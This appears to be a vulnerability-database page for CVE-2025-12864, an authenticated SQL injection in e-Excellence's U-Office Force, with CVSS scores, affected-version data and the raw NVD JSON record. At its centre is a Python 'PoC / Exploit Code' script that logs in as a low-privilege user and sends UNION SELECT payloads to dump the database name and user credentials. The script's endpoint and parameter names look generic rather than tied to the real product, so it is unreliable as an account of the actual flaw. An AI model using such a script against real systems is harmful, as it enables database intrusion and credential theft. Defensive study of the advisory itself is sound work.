Security Vulnerability Report
中文
CVE-2025-12864 CVSS 8.8 HIGH

CVE-2025-12864

Published: 2025-11-10 03:15:42
Last Modified: 2025-11-18 18:04:47

Description

U-Office Force developed by e-Excellence has a SQL Injection vulnerability, allowing authenticated remote attacker to inject arbitrary SQL commands to read, modify, and delete database contents.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:edetw:u-office_force:*:*:*:*:*:*:*:* - VULNERABLE
U-Office Force < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12864 SQL Injection PoC for U-Office Force # Target: U-Office Force by e-Excellence # Vulnerability: SQL Injection in authenticated area TARGET_URL = "https://target-server/U-Office-Force/api/endpoint" LOGIN_URL = "https://target-server/U-Office-Force/login" USERNAME = "low_privilege_user" PASSWORD = "user_password" def login(): """Authenticate with low privilege account""" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) return session if response.status_code == 200 else None def extract_database_info(session): """Extract database information via SQL injection""" # SQL Injection payload to extract database name injection_payload = "' UNION SELECT NULL,database(),NULL-- -" headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } data = { "param": injection_payload } response = session.post(TARGET_URL, json=data, headers=headers) return response.text def extract_users(session): """Extract user credentials from database""" payload = "' UNION SELECT NULL,GROUP_CONCAT(username,':',password),NULL FROM users-- -" headers = {"Content-Type": "application/json"} data = {"search_term": payload} response = session.post(TARGET_URL, json=data, headers=headers) return response.text def main(): print("[*] Starting CVE-2025-12864 SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Extracting database information...") db_info = extract_database_info(session) print(f"[+] Database Info: {db_info}") print("[*] Extracting user credentials...") users = extract_users(session) print(f"[+] Users: {users}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12864", "sourceIdentifier": "[email protected]", "published": "2025-11-10T03:15:42.017", "lastModified": "2025-11-18T18:04:46.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "U-Office Force developed by e-Excellence has a SQL Injection vulnerability, allowing authenticated remote attacker to inject arbitrary SQL commands to read, modify, and delete database contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:edetw:u-office_force:*:*:*:*:*:*:*:*", "versionEndExcluding": "29.50", "matchCriteriaId": "FC377CFD-3CA3-4AC3-AED3-6C6636A6DD46"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10489-a5a6d-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10488-2df22-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}